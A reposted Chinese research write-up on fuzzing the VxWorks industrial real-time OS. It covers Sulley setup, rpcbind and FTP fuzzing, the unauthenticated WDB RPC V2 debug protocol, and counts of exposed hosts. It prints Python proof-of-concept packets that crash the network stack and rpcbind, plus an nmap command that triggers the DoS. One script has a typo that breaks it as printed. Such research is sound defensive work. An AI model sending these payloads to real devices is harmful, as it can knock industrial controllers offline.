1. 程式人生 > >VxWorks Fuzzing 之道:VxWorks 工控實時操作系統漏洞挖掘調試與利用揭秘

VxWorks Fuzzing 之道:VxWorks 工控實時操作系統漏洞挖掘調試與利用揭秘

設備 coldfire 巴西 目標 自動重啟 ipv packet lec 被攻擊

轉載:freebuf

0×00 前言

關於VxWorks,這裏引用44CON議題《攻擊 VxWorks:從石器時代到星際》探究 一文章中的介紹:

VxWorks 是世界上使用最廣泛的一種在嵌入式系統中部署的實時操作系統,是由美國WindRiver公司(簡稱風河公司,即WRS 公司)於1983年設計開發的。其市場範圍跨越所有的安全關鍵領域,僅舉幾例,包括火星好奇心流浪者、波音787夢幻客機、網絡路由器。這些應用程序的安全高危性質使得VxWorks的安全被高度關註。
VxWorks操作系統是由美國Wind River(風河公司)開發的一種嵌入式實時操作系統(RTOS),已宣稱擁有至少15億臺設備,VxWorks支持幾乎所有現代市場上的嵌入式CPU架構,包括x86系列、MIPS、 PowerPC、Freescale ColdFire、Intel i960、SPARC、SH-4、ARM, StrongARM以及xScale CPU。

在2015年9月9日-11日舉辦的44CON倫敦峰會中,Yannick Formaggio介紹了他對VxWorks進行深入安全研究的方法,他采用了Fuzzing框架Sulley對VxWorks系統的多個協議進行了Fuzzing,挖掘到一些漏洞,並結合VxWorks的WDB RPC實現了一個遠程調試器,進行了相關調試分析。

其中很多實現及漏洞細節沒有公開,我們搭建了VxWorks 5.5及VxWorks 6.6的x86虛擬環境,參照Formaggio的方法,對VxWorks進行了初步的安全研究,本文將對相關研究細節及結果進行介紹。

本文內容包括:

1. 漏洞概覽
2. 安裝Fuzzing框架Sulley & 相關協議Fuzzing
3. VxWorks WDB RPC V2分析
4. 暴露在互聯網中的VxWorks WDB RPC V2服務!!!

本文無法涉及所有研究細節及方法,因此提供如下相關資料以供補充參考:

* VxWorks 5.5 & 6.6模擬環境搭建

* vmWare上運行VxWorks(5.5)

* Python灰帽子 第9章 Sulley

* Sulley官方文檔:git項目目錄文件sulley/docs/index.html

0×01 漏洞概覽

我們復現了Formaggio指出的安全問題,沒有發現新的問題,這些漏洞詳情如下:

網絡棧問題

* 漏洞描述:某些5.x版本的VxWorks系統在短時間內接受到大量的網絡數據包,會造成網絡棧崩潰,導致VxWorks無法再與外界主機通信。在部分情況下,終端會給出錯誤信息,報錯信息如下圖:

技術分享

這裏需要指出的是,有的情況下漏洞觸發成功而造成DoS後,VxWorks終端並不會輸出

interrupt: panic: netJobAdd: ring buffer overflow!

的提示,但此時VxWorks的網絡棧已經崩潰,已無法再與外界通信,這一點可以通過持續ping來進行驗證。

如上錯誤提示一般會在收到的數據包量非常大的情況下才會出現。

* 影響版本:部分5.x版本

* 驗證方式:

1. 執行nmap命令(可能需要執行多次) _sudo nmap -sU -p110-166 -r -T5 -n 192.168.1.111_ ,其中192.168.1.111為運行VxWorks 5.5版本的主機IP,在收到上述掃描數據包後,VxWorks主機並沒有錯誤提示,但是網絡棧已經崩潰,無法再與外界進行通信。

2. 對tcp/21運行的FTP服務連續發送體積極大的FTP請求數據包。

3. 也可用如下Python代碼驗證該問題:

import socket
UDP_PAYLOAD = ‘\x72\xfe\x1d\x13\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0\x00\x01\x97\x7c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00‘
def poc1(host, rpcPort=111, pktNum=6859):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    for i in xrange(pktNum):
        sock.sendto(UDP_PAYLOAD, (hvcost, 111))
def poc2(host, rpcPort=111, portNum=26):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    for port in xrange(rpcPort, rpcPort+portNum+1):
        sock.sendto(UDP_PAYLOAD, (host, port))
if __name__ == ‘__main__‘:
    import sys
    poc1(host=sys.argv[1], rpcPort=111, pktNum=100000000)
    #poc2(host=sys.argv[1], rpcPort=111, portNum=27)

rpcbind服務問題

* 漏洞描述:rpcbind服務是SUN-RPC的一部分,在VxWorks系統中該服務監聽在tcp/111及udp/111端口,攻擊者向該端口發送經過特殊構造的數據包,可使rpcbind服務崩潰,精心構造的請求可能可以造成任意代碼執行。終端會給出錯誤信息,報錯信息如下圖:

技術分享

* 影響版本:5.x & 6.x

* 驗證方式:可用如下Python代碼驗證該漏洞:

import socket
PAYLOAD_HEX = ‘cc6ff7e200000000000000020001a086000000040000000488888888000000110000001100001111111111111111111111111111‘
def poc(host, rpcPort=111):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(PAYLOAD_HEX.decode(‘hex‘), (host, rpcPort))
if __name__ == ‘__main__‘:
    import sys
    poc(sys.argv[1])

0×02 Sulley 安裝 & 協議Fuzzing

Formaggio使用Sulley對VxWorks進行Fuzzing,我們學習他的方式,嘗試實現基於Sulley的Fuzzing。

安裝Sulley

關於Sulley的安裝,官方有給出較為詳細的文檔:

* Sulley – Windows Installation

FreeBuf也有文章對上述文檔進行了翻譯:

* 在滲透測試中使用fuzz技術(附windows安裝指南)

這裏簡單給出我們的安裝過程,環境Win7 x86:

1. MinGW

* 下載

* 安裝時,在"Select Components"對話框中,除了默認選項,還需勾選"C++ Compiler"和"ObjC Compiler"

2. 下載並安裝Python 2.7 x86版本(請安裝2.7.2版本,高版本如2.7.11在後續編譯libdasm步驟中可能出錯)

3. 下載並安裝Git for Windows

4. 將C:\Python27和C:\MinGW\bin加入到系統環境變量$PATH中

5. pydbg

* 下載: C:\sulley_build>git clone https:[email protected]/Fitblip/pydbg.git

* 編譯安裝:C:\sulley_build\pydbg> python setup.py install

6. libdasm

* 下載(墻)並解壓

* 編譯: C:\sulley_build\libdisasm\pydasm>python setup.py build_ext -c min2

* 安裝: C:\sulley_build\libdisasm\pydasm>python setup.py install

7. 下載並安裝WinPcap

8. 下載[WinPcap Dev Kit(WpdPack)]()

9. PCapy

* 下載並解壓

* 編譯(需指定WpdPack中的include目錄及lib目錄): C:\sulley_build\pcapy-0.10.5>python setup.py build_ext -c mingw32 -I "C:\sulley_build\WpdPack\Include" -L "C:\sulley_build\WpdPack\Lib"

* 安裝: C:\sulley_build\pcapy-0.10.5>python setup.py install

10. 下載並安裝setuptools和pip

11. 安裝impacket: pip install -U impacket

12. Sulley

*下載: C:\sulley_build>git clone https://github.com/OpenRCE/sulley.git

* 確認process_monitor.py正常工作(無import異常): C:\sulley_build\sulley>python process_monitor.py

* 確認network_monitor.py正常工作(正常會打印網卡列表): C:\sulley_build\sulley>python network_monitor.py

FTP協議 (tcp/21) Fuzzing

* FTP協議中很多命令需要在登錄後才能執行,我們主要關註未登錄的情況。

* github上已有人公開了基於Sulley的FTP Fuzzing程序,我們直接用其進行Fuzzing,該腳本ftp.py fuzz的協議字段節點圖如下:

技術分享

fuzz結果:

* 6.6版本無影響。

* 5.5連續發送極大的FTP請求包時,會造成ring buffer overflow,導致VxWorks無法進行網絡通信。該問題也屬於上文中已經提到的網絡棧問題,不屬於FTP協議問題。

Sun RPC協議 – rpcbind服務(tcp/111 udp/111) Fuzzing

* 關於Sun RPC的細節可以參考如下文檔:

1.Unix網絡編程 卷二 第二版 第16章

2.ONC+ Developer‘s Guide – Appendix B RPC Protocol and Language Specification

* 根據協議我們實現了Fuzzing腳本rpcbind.py,其中使用到了後文中將提到的wdbdbg.py,以記錄崩潰時調試信息、實現VxWorks主機的自動重啟等功能,fuzz的協議字段節點圖如下:

技術分享

* 其中common_fields為一些結構統一的字段共同構成的匯總request,它包含如下協議字段:

技術分享

後續為一些變長字段,請參照協議說明及rpcbind.py代碼,不再贅述。

* Fuzzing結果: 5.5及6.6版本均測試出18處崩潰點,通過觀察結果中的寄存器狀態,都屬於一類,該漏洞僅造成tPortmapd服務崩潰,對其他服務沒有影響。該漏洞Formaggio在44 con上進行過詳細分析。

0×03 WDB RPC

要實現自動或半自動化Fuzzing通常需解決如下問題:

* 隨機或是隨機的方式生成大量協議數據包:(本次由Sulley生成)
* 將生成的數據包發送給被測試組件/服務 (本次需基於Sulley實現針對特定協議的Fuzz腳本)
* 檢測被測組件的狀態,如是否能夠響應、響應是否正確等(難點)
* 獲取組件異常信息,如崩潰原因、內存內容等 (難點)
* 被測組件環境復原,如重啟

對於VxWorks的Fuzzing,解決如上難點就需要一個VxWorks調試器,經研究得知,VxWorks的開發組件中的調試器工作時基於WDB RPC協議通過TServer與VxWorks 的TAgent模塊通信,因此WDB RPC即是關鍵所在。

WDB RPC有V1和V2兩個版本,VxWorks 5.5中使用V1版本,而VxWorks 6.6中使用V2版本,V2版本相較於V1版本有較多處修改,具體體現在協議字段及交互方式。

rapid7在Shiny Old VxWorks Vulnerabilities一文中指出了WDB Agent服務的安全隱患,並給出了相關探測和利用腳本:

* metasploit-framework/modules/auxiliary/scanner/vxworks/wdbrpc\_version.rb

* metasploit-framework/modules/auxiliary/scanner/vxworks/wdbrpc\_bootline.rb

* metasploit-framework/modules/auxiliary/admin/vxworks/wdbrpc\_reboot.rb

* metasploit-framework/modules/auxiliary/admin/vxworks/wdbrpc\_memory\_dump.rb

這些腳本都是針對WDB RPC V1的,對V2版本的WDB RPC服務並不能有效的探測和利用。

因此本文不再討論V1版本的協議,僅分析V2版本。

首先我們來了解什麽是WDB RPC,WDB RPC是一個基於SUN-RPC協議的調試接口,它的服務運行在UDP協議的17185端口上,WDB RPC被包含在VxWoks TAgent模塊中,利用WDB RPC調試接口不但可以直接訪問系統內存,還可以監視VxWorks系統所有組件工作狀態,當組件發生異常時TAgent通過TServer主動通知當前連接的Debugger,如下圖(參考自Wind River Documentation)

技術分享

如果我們安置一個監視器(VxMon)充當TServer的身份,摸擬Debugger與VxWorks OS 的TAgent模塊通信,那麽當VxWorks OS組件發生異常時,VxMon可以從TAgent獲得異常通知,繼而利用WDB RPC 接口再獲取異常相關信息,從而解決以上技術難點。

技術分享

(參考自Wind River Documentation)

WDB RPC V2 協議分析

請求數據包

WDB協議基於SUN-RPC,WDB RPC請求包如下圖構造(引用自Wind River Documentation):

技術分享

從上圖我們可以得知,標準的WDB RPC請求包含如下信息:

* IP Header
* UDP Header
* RPC Request Header
* WDB Parameter Wrapper
* Function input parameters

在WDB RPC 請求包中,WDB Parameter與Function input parametes兩個字段 為重點內容,WDB Parameter Wrapper內容包含整個請求包的大小,校驗和及請求系列號,Function input parameters 為請求功能號的攜帶輔助信息。

響應數據包

WDB RPC應答包,如下圖構造(引用自Wind River Documentation):

技術分享

從上圖我們可以得知,標準的WDB RPC應答包中含如下信息:

* IP Header
* UDP Header
* RPC Reply Header
* WDB Reply Wrapper
* Function output

在WDB RPC 應答包中,WDB Reply Wrapper與Function output兩個字段 為重點內容,WDB Parameter Wrapper內容包含整個請求包的大小、校驗和及應答系列號(在每個請求與應答中,應答與請求系列號一致),Function output包含應答的輸出信息,為請求功能號的返回信息。

實現 VxMon 與 VxWorks OS – TAgent模塊 通信

V2版本的WDB RPC與V1版本最大的區別在於,在發送各類請求(如獲取VxWorks版本BSP信息等的請求WDB\_TGT\_INFO\_GET)時,V1只用發送對應的請求包即可。而V2維護了一種類似Session的機制,在發送各類請求前,需要發送一個連接請求包(WDB\_TARGET\_CONNECT)以成功連接至TAgent,對於每個Session中的多個請求包(包括連接請求包),它們的SUN RPC -> Transaction ID字段及WDB RPC -> sequence字段的值需是連續遞增的,否則就會收到包含錯誤的響應包。

* WDB\_TARGET\_CONNECT

技術分享

VxMon發送請求調用過程:VxMon請求連接至目標,功能號為WDB\_TARGET\_CONNECT

技術分享

技術分享

TAgent應答過程:目標連接至VxMon(包含TAgent基本信息)

技術分享

技術分享

* WDB\_TGT\_INFO\_GET

VxMon發送請求調用過程:VxMon請求獲取目標信息,功能號為WDB\_TGT\_INFO\_GET

技術分享

技術分享

TAgent應答過程:在應答包中會含有Vxworks目標機很多信息。如系統版本,大小端,內存分配 等等。

技術分享

* 崩潰檢測機制

前提是我們有意構造對VxWorks組件攻擊程序,當攻擊進行後,VxWorks其中一個組件會被攻擊發生崩潰。當VxWorks OS 組件發生崩潰時,TAgent會主動的通知VxMon發生異常事件。

技術分享

當VxMon接收到EVENT NOTICATION消息時,應當立即回復包WDB\_EVENT\_GET包確認,否則VxWorks 會一直循環通知該消息。通過WDB\_EVENT\_GET消息,可以獲取異常原因,異常組件任務ID及異常地址等信息,詳細分析見下。

TAgent異常信息通知過程:當VxWorks組件崩潰時,TAgent發送如下字節碼通知VxMon:

技術分享

VxMon確認過程:VxMon發送WDB\_EVENT\_GET請求包進行確認:

技術分享

技術分享

TAgent應答過程:當TAgent接收到WDB\_EVENT\_GET請求時,將異常隊列表中的異常信息發送給VxMon。

技術分享

技術分享

從WDB\_EVENT\_GET應答包(上圖)中我們可以得知Task Conext為0x79622C任務已崩潰,

同時我們從VxWorks系統提示也得到了驗證(task 0x79622c has had a failure and has been stopped),如下:

技術分享

接下來主機請求更多的信息,如崩潰時寄存器內容,內存區域,異常代碼。

通過VxMon發送WDB\_REGS\_GET請求,可以獲取異常寄處器內容。

通過VxMon發送WDB\_MEM\_READ請求,可以獲取異常地址的執行代碼。如下:

技術分享

代碼

我們用Python封裝了如上所述的功能,代碼請移步至wdbdbg.py,其中需要用到第三方模塊capstone,請自行安裝。

0×04 暴露在互聯網中的VxWorks WDB RPC V2服務!!!

WDB RPC的功能如此完備,就成了一把雙刃劍。由於它本身沒有身份認證的功能,因此能夠與VxWorks主機17185端口通信就可以調用它。如果使用它的是黑客而非開發調試人員,就可能造成極大危害:

* 監視所有組件(服務)狀態
* 惡意固件刷入、後門植入
* 重啟VxWorks設備
* 任意內存讀寫
* 登陸繞過
* ...

Kimon在其 揭秘VxWorks——直擊物聯網安全罩門 一文中詳盡地介紹了各種利用WDB RPC的攻擊方式,因此本文不再一一列舉。文中Kimon還給出了z-0ne的關於WDB RPC的全球統計:

通過Zmap調用wdbrpc-scan腳本掃描全網暴漏端口IP數約5萬+,其中3.4萬能讀取到系統信息和bootline信息。

數量按國家分布Top10:

中國:       7861
美國:       5283
巴西:       3056
意大利:     1025
日本:       823
俄羅斯:      647
墨西哥:      505
哈薩克斯坦:  486
澳大利亞:    481
印度:       448

數量按VxWorks系統版本號統計:

VxWorks5.5.1  15601
VxWorks5.4.2  6583
VxWorks5.4    5410
VxWorks5.4.2  5254
VxWorks5.5    899
VxWorks       654
VxWorks5.3.1  236

數量按設備信息統計Top10:

Telogy Networks GG30E Reference Board 3674
TI TNETV1050 Communication Processor  3360
Motorola MPC82xx ADS - HIP7           2626
IP-ADSL DSLAM (MPC860/855T)           1972
HUAWEI ET&IAD                         1796
MPC8245Board: EDSL , Map B (CHRP)     1678
PowerPC 875,  133MHZ                  1553
Mips 4KEc                             1239
MGCB                                   912
Intel IXP425 - IXDP425 BE              887

其中受影響的PLC模塊型號:

羅克韋爾Rockwell Automation 1756-ENBT固件版本為3.2.6、3.6.1及其他
西門子Siemens CP 1604、Siemens CP 1616
施耐德Schneider Electric 昆騰部分以太網模塊

z-0ne的統計非常詳盡,但從版本分布可以觀察到,他探測及統計的是WDB RPC V1版本。

ZoomEye團隊也對暴露在互聯網中的WDB RPC服務進行了探測,全球IPv4網絡空間中共有52586個主機運行著WDB RPC服務,其中:

* 運行V1版本WDB RPC服務(即運行VxWorks 5.x版本的主機)的IP共30339個,數量較z-0ne在2015年11月1日統計得出的3.4萬有所減少。
* 運行V2版本WDB RPC服務(即運行VxWorks 6.x版本的主機)的IP共2155個。
* 運行未知版本VxWorks的主機20093個。這些主機對V1和V2版本的WDB\_TGT\_INFO\_GET請求,都沒有返回我們期望的WDB\_TGT\_INFO格式的結果,而是返回了長度較短的錯誤響應數據包,但其格式符合WDB RPC的響應格式,因此基本可以說明這類主機運行著WDB RPC服務,即運行著VxWorks系統,但版本未知。該問題值得進一步研究。

關於V1版本服務的結果統計,我們得到的結果與z-0ne相近,本文不再贅述,這裏主要給出運行V2版本WDB RPC服務的共2155個主機的統計:

* 國家分布統計TOP 10:

技術分享

需要指出的是,其中位於中國的有7個。

* VxWorks 6.x版本統計

技術分享

* 芯片/電路板 統計

技術分享

技術分享

可以看到使用VxWorks 6.x的芯片或集成開發板與5.x版本的統計結果差別很大,由於VxWorks 6.x版本相較於5.x版本更為穩定,因此更多地運用於對穩定性、可信及實時控制要求更高的系統中,從上表中芯片或集成電路板的特性就可以看出這一點。

利用WDB RPC V2,可以嘗試進一步確定使用這些芯片或集成開發板的設備的品牌或型號,並對這些設備進行進一步控制,玩法與Kimon介紹的WDB RPC V1版本類似,有興趣的同學可以繼續深入。

0×05 總結

本文介紹了如何基於Fuzzing框架Sulley實現基於對VxWorks 5.5和6.6系統的FTP服務和Sun-RPC rpcbind服務的自動化Fuzzing,並介紹了在實現VxWorks 6.6自動化Fuzzing過程中必不可少的WDB RPC V2協議,最後對暴露在互聯網中的WDB RPC V2協議進行了探測,並給出了相關統計。

我們可以看到,將WDB RPC服務暴露於互聯網中的危險性極大,但它是使用VxWorks系統的硬件設備的系統開發人員不可或缺的工具,在開發過程中需要開啟它,但在編譯出廠設備的VxWorks系統時一定要將其關閉。

VxWorks Fuzzing 之道:VxWorks 工控實時操作系統漏洞挖掘調試與利用揭秘